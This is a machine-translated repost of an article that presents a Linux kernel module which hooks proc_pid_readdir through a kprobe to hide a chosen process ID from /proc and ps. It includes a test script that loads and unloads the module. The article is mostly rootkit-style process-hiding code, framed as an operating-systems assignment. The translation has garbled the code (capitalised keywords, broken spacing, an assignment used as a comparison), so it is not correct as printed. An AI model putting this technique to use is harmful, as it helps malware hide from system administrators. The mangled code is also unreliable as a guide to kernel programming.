Linux Kernel uses inline hook to implement hidden processes

Source: Internet
Author: User

This is a big job in our operating system.
The principle is to hook the proc file system, the readdir function under the root directory.
Replace the third parameter filldir.
CodeBurst short, 60 lines.
Ubuntu 10.04 is available for testing.

# Include <Linux/kernel. h>
# Include <Linux/kprobes. h>
# Include <Linux/module. h>
# Include <Linux/moduleparam. h>
# Include <Linux/fs. h>

Int Register_kprobe ( Struct Kprobe * KP );

Static Struct Kprobe Kp ={
. Symbol_name = "proc_pid_readdir ",
}
;

Static Filldir_t old_filldir;
Static Int PID;

Module_param (PID, Int , 0744 );

Static Int Filldir ( Void * _ Buf,Const Char * Name, Int Namlen, loff_t offset,
U64 Ino, unsigned Int D_type)
{
IntP;
Sscanf (name, "% d", & P );
If(P = PID)
Return0;
ReturnOld_filldir (_ Buf, name, namlen, offset, Ino, d_type );
}



/*Kprobe pre_handler: called just before the probed instruction is executed*/
Static Int Handler_pre ( Struct Kprobe * PR, Struct Pt_regs * regs)
{
Old_filldir = (filldir_t) regs-> CX;
Regs-> Cx = (Typeof(Regs-> CX) filldir;
Return0;
}


Static Int _ Init k_init (Void )
{
IntRET;

KP. pre_handler = handler_pre;

Ret = register_kprobe (& KP );
If(Ret <0){
Printk (kern_info "register_kprobe failed, returned % d \ n", RET );
ReturnRET;
}

Printk (kern_info "planted kprobe at % P; PID % d \ n", KP. ADDR, pid );

Return0;
}


Static Void _ Exit k_exit ( Void )
{
Unregister_kprobe (& KP );
Printk (kern_info "kprobe at % P unregistered \ n", KP. ADDR );
}


Module_init (k_init );
Module_exit (k_exit );
Module_license ("GPL ");



sleep 1000 &
pid = 'jobs-p'
echo 'before hide '
PS aux | grep $ PID
insmod K. ko pid = $ PID
echo 'after hide '
PS aux | grep $ PID
rmmod K. ko
echo 'after unhide '
PS aux | grep $ PID

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.